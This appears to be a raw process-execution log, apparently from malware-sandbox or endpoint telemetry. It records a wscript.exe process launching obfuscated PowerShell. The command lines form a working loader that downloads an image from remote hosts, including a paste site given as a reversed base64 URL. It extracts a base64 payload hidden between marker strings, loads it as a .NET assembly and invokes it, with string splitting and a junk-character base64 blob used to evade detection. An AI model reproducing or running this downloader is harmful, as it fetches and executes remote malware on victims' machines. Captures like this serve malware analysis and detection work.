rn6imageText.In'+'dexOf(rn6endFlag'+');rn6startIndex -ge 0 -an'+'d rn6endIndex -gt rn6startIndex;rn6sta'+'rtIndex += rn6startFlag.Length;rn6base64Length = rn6endIndex - rn6'+'startIndex;rn6base64Command = rn6imageText.Substr'+'ing(rn6startIndex, rn6base64Length'+');rn6commandBytes = [System.Convert]::FromBase64String(rn6base64Command);rn6loadedAssembly = [System.Reflection'+'.Assemb'+'ly]::Load(rn6commandBytes);rn6type = rn6loade'+'dAssembly.GetType(yQSFiber.HomeyQS);rn6method = rn6type.'+'Ge'+'tMethod(yQSVAIyQS).Invoke(rn6null, [object[]] (yQSMC96SllwTi9kL2VlLmV0c2FwLy86c3B0dGg=yQS , yQSyQS '+', yQS2yQS , yQSIgfx'+'yQS , yQS3yQS , yQSC:qkPProgramDataqkPyQS, yQSIgfxyQS))').replAcE('qkP','\').replAcE(([cHaR]121+[cHaR]81+[cHaR]83),[sTrINg][cHaR]39).replAcE(([cHaR]114+[cHaR]110+[cHaR]54),'$')| InVokE-eXpresSiOn"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'KhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBVhvWQmTktteTÇCmHIhvWQmTktteTÇCmbhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBohvWQmTktteTÇCmHQhvWQmTktteTÇCmdhvWQmTktteTÇCmBwhvWQmTktteTÇCmHMhvWQmTktteTÇCmOghvWQmTktteTÇCmvhvWQmTktteTÇCmC8hvWQmTktteTÇCmdQBwhvWQmTktteTÇCmGwhvWQmTktteTÇCmbwBhhvWQmTktteTÇCmGQhvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZQBuhvWQmTktteTÇCmHMhvWQmTktteTÇCmLgBjhvWQmTktteTÇCmG8hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmbQhvWQmTktteTÇCmuhvWQmTktteTÇCmGIhvWQmTktteTÇCmcghvWQmTktteTÇCmvhvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBzhvWQmTktteTÇCmC8hvWQmTktteTÇCmMhvWQmTktteTÇCmhvWQmTktteTÇCmwhvWQmTktteTÇCmDQhvWQmTktteTÇCmLwhvWQmTktteTÇCm2hvWQmTktteTÇCmDUhvWQmTktteTÇCmNhvWQmTktteTÇCmhvWQmTktteTÇCmvhvWQmTktteTÇCmDUhvWQmTktteTÇCmMwhvWQmTktteTÇCm2hvWQmTktteTÇCmC8hvWQmTktteTÇCmbwByhvWQmTktteTÇCmGkhvWQmTktteTÇCmZwBphvWQmTktteTÇCmG4hvWQmTktteTÇCmYQBshvWQmTktteTÇCmC8hvWQmTktteTÇCmbgBlhvWQmTktteTÇCmHchvWQmTktteTÇCmXwBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmLgBqhvWQmTktteTÇCmHhvWQmTktteTÇCmhvWQmTktteTÇCmZwhvWQmTktteTÇCm/hvWQmTktteTÇCmDEhvWQmTktteTÇCmNghvWQmTktteTÇCm5hvWQmTktteTÇCmDghvWQmTktteTÇCmOQhvWQmTktteTÇCm1hvWQmTktteTÇCmDchvWQmTktteTÇCmNwhvWQmTktteTÇCm1hvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB3hvWQmTktteTÇCmGUhvWQmTktteTÇCmYgBDhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGwhvWQmTktteTÇCmaQBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmBOhvWQmTktteTÇCmGUhvWQmTktteTÇCmdwhvWQmTktteTÇCmthvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmE8hvWQmTktteTÇCmYgBqhvWQmTktteTÇCmGUhvWQmTktteTÇCmYwB0hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmUwB5hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmLgBOhvWQmTktteTÇCmGUhvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmFchvWQmTktteTÇCmZQBihvWQmTktteTÇCmEMhvWQmTktteTÇCmbhvWQmTktteTÇCmBphvWQmTktteTÇCmGUhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmbgB0hvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwBlhvWQmTktteTÇCmEIhvWQmTktteTÇCmeQB0hvWQmTktteTÇCmGUhvWQmTktteTÇCmcwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB3hvWQmTktteTÇCmGUhvWQmTktteTÇCmYgBDhvWQmTktteTÇCmGwhvWQmTktteTÇCmaQBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmEQhvWQmTktteTÇCmbwB3hvWQmTktteTÇCmG4hvWQmTktteTÇCmbhvWQmTktteTÇCmBvhvWQmTktteTÇCmGEhvWQmTktteTÇCmZhvWQmTktteTÇCmBEhvWQmTktteTÇCmGEhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBlhvWQmTktteTÇCmFUhvWQmTktteTÇCmcgBshvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmBbhvWQmTktteTÇCmFMhvWQmTktteTÇCmeQBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBthvWQmTktteTÇCmC4hvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmEUhvWQmTktteTÇCmbgBjhvWQmTktteTÇCmG8hvWQmTktteTÇCmZhvWQmTktteTÇCmBphvWQmTktteTÇCmG4hvWQmTktteTÇCmZwBdhvWQmTktteTÇCmDohvWQmTktteTÇCmOgBVhvWQmTktteTÇCmFQhvWQmTktteTÇCmRghvWQmTktteTÇCm4hvWQmTktteTÇCmC4hvWQmTktteTÇCmRwBlhvWQmTktteTÇCmHQhvWQmTktteTÇCmUwB0hvWQmTktteTÇCmHIhvWQmTktteTÇCmaQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBphvWQmTktteTÇCmG0hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCm8hvWQmTktteTÇCmDwhvWQmTktteTÇCmQgBBhvWQmTktteTÇCmFMhvWQmTktteTÇCmRQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmXwBThvWQmTktteTÇCmFQhvWQmTktteTÇCmQQBShvWQmTktteTÇCmFQhvWQmTktteTÇCmPghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwhvWQmTktteTÇCm+hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCm8hvWQmTktteTÇCmDwhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmQgBBhvWQmTktteTÇCmFMhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmRQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmXwBFhvWQmTktteTÇCmE4hvWQmTktteTÇCmRhvWQmTktteTÇCmhvWQmTktteTÇCm+hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmD4hvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBUhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmB0hvWQmTktteTÇCmC4hvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmE8hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZghvWQmTktteTÇCmohvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHIhvWQmTktteTÇCmdhvWQmTktteTÇCmBGhvWQmTktteTÇCmGwhvWQmTktteTÇCmYQBnhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwBlhvWQmTktteTÇCmFQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmHQhvWQmTktteTÇCmLgBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmTwBmhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwhvWQmTktteTÇCmphvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmZwBlhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmMhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGQhvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCmthvWQmTktteTÇCmGchvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHIhvWQmTktteTÇCmdhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmKwhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEYhvWQmTktteTÇCmbhvWQmTktteTÇCmBhhvWQmTktteTÇCmGchvWQmTktteTÇCmLgBMhvWQmTktteTÇCmGUhvWQmTktteTÇCmbgBnhvWQmTktteTÇCmHQhvWQmTktteTÇCmahvWQmTktteTÇCmhvWQmTktteTÇCm7hvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGIhvWQmTktteTÇCmYQBzhvWQmTktteTÇCmGUhvWQmTktteTÇCmNghvWQmTktteTÇCm0hvWQmTktteTÇCmEwhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmdhvWQmTktteTÇCmBohvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGUhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmYgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmQwBvhvWQmTktteTÇCmG0hvWQmTktteTÇCmbQBhhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmFMhvWQmTktteTÇCmdQBihvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmByhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGkhvWQmTktteTÇCmbgBnhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmshvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmYgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmThvWQmTktteTÇCmBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZwB0hvWQmTktteTÇCmGghvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmKQhvWQmTktteTÇCm7hvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmbwBthvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmFshvWQmTktteTÇCmUwB5hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmLgBDhvWQmTktteTÇCmG8hvWQmTktteTÇCmbgB2hvWQmTktteTÇCmGUhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmF0hvWQmTktteTÇCmOghvWQmTktteTÇCm6hvWQmTktteTÇCmEYhvWQmTktteTÇCmcgBvhvWQmTktteTÇCmG0hvWQmTktteTÇCmQgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmUwB0hvWQmTktteTÇCmHIhvWQmTktteTÇCmaQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBihvWQmTktteTÇCmGEhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmDYhvWQmTktteTÇCmNhvWQmTktteTÇCmBDhvWQmTktteTÇCmG8hvWQmTktteTÇCmbQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBshvWQmTktteTÇCmG8hvWQmTktteTÇCmYQBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmZhvWQmTktteTÇCmBBhvWQmTktteTÇCmHMhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmYgBshvWQmTktteTÇCmHkhvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmWwBThvWQmTktteTÇCmHkhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGUhvWQmTktteTÇCmbQhvWQmTktteTÇCmuhvWQmTktteTÇCmFIhvWQmTktteTÇCmZQBmhvWQmTktteTÇCmGwhvWQmTktteTÇCmZQBjhvWQmTktteTÇCmHQhvWQmTktteTÇCmaQBvhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmLgBBhvWQmTktteTÇCmHMhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmYghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBshvWQmTktteTÇCmHkhvWQmTktteTÇCmXQhvWQmTktteTÇCm6hvWQmTktteTÇCmDohvWQmTktteTÇCmThvWQmTktteTÇCmBvhvWQmTktteTÇCmGEhvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmohvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmbwBthvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB0hvWQmTktteTÇCmHkhvWQmTktteTÇCmchvWQmTktteTÇCmBlhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGwhvWQmTktteTÇCmbwBhhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBkhvWQmTktteTÇCmEEhvWQmTktteTÇCmcwBzhvWQmTktteTÇCmGUhvWQmTktteTÇCmbQBihvWQmTktteTÇCmGwhvWQmTktteTÇCmeQhvWQmTktteTÇCmuhvWQmTktteTÇCmEchvWQmTktteTÇCmZQB0hvWQmTktteTÇCmFQhvWQmTktteTÇCmeQBwhvWQmTktteTÇCmGUhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBGhvWQmTktteTÇCmGkhvWQmTktteTÇCmYgBlhvWQmTktteTÇCmHIhvWQmTktteTÇCmLgBIhvWQmTktteTÇCmG8hvWQmTktteTÇCmbQBlhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBthvWQmTktteTÇCmGUhvWQmTktteTÇCmdhvWQmTktteTÇCmBohvWQmTktteTÇCmG8hvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB0hvWQmTktteTÇCmHkhvWQmTktteTÇCmchvWQmTktteTÇCmBlhvWQmTktteTÇCmC4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmRwBlhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHQhvWQmTktteTÇCmTQBlhvWQmTktteTÇCmHQhvWQmTktteTÇCmahvWQmTktteTÇCmBvhvWQmTktteTÇCmGQhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBWhvWQmTktteTÇCmEEhvWQmTktteTÇCmSQB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmphvWQmTktteTÇCmC4hvWQmTktteTÇCmSQBuhvWQmTktteTÇCmHYhvWQmTktteTÇCmbwBrhvWQmTktteTÇCmGUhvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBuhvWQmTktteTÇCmHUhvWQmTktteTÇCmbhvWQmTktteTÇCmBshvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmBbhvWQmTktteTÇCmG8hvWQmTktteTÇCmYgBqhvWQmTktteTÇCmGUhvWQmTktteTÇCmYwB0hvWQmTktteTÇCmFshvWQmTktteTÇCmXQBdhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBNhvWQmTktteTÇCmEMhvWQmTktteTÇCmOQhvWQmTktteTÇCm2hvWQmTktteTÇCmFMhvWQmTktteTÇCmbhvWQmTktteTÇCmBshvWQmTktteTÇCmHchvWQmTktteTÇCmVhvWQmTktteTÇCmBphvWQmTktteTÇCmDkhvWQmTktteTÇCmawBMhvWQmTktteTÇCmDIhvWQmTktteTÇCmVgBshvWQmTktteTÇCmEwhvWQmTktteTÇCmbQBWhvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmYwhvWQmTktteTÇCmyhvWQmTktteTÇCmEYhvWQmTktteTÇCmdwBMhvWQmTktteTÇCmHkhvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmMwBChvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmZhvWQmTktteTÇCmBHhvWQmTktteTÇCmGchvWQmTktteTÇCmPQB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmyhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmLhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmEkhvWQmTktteTÇCmZwBmhvWQmTktteTÇCmHghvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCmshvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmMwB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBDhvWQmTktteTÇCmDohvWQmTktteTÇCmcQBrhvWQmTktteTÇCmFhvWQmTktteTÇCmhvWQmTktteTÇCmUhvWQmTktteTÇCmByhvWQmTktteTÇCmG8hvWQmTktteTÇCmZwByhvWQmTktteTÇCmGEhvWQmTktteTÇCmbQBEhvWQmTktteTÇCmGEhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHEhvWQmTktteTÇCmawBQhvWQmTktteTÇCmHk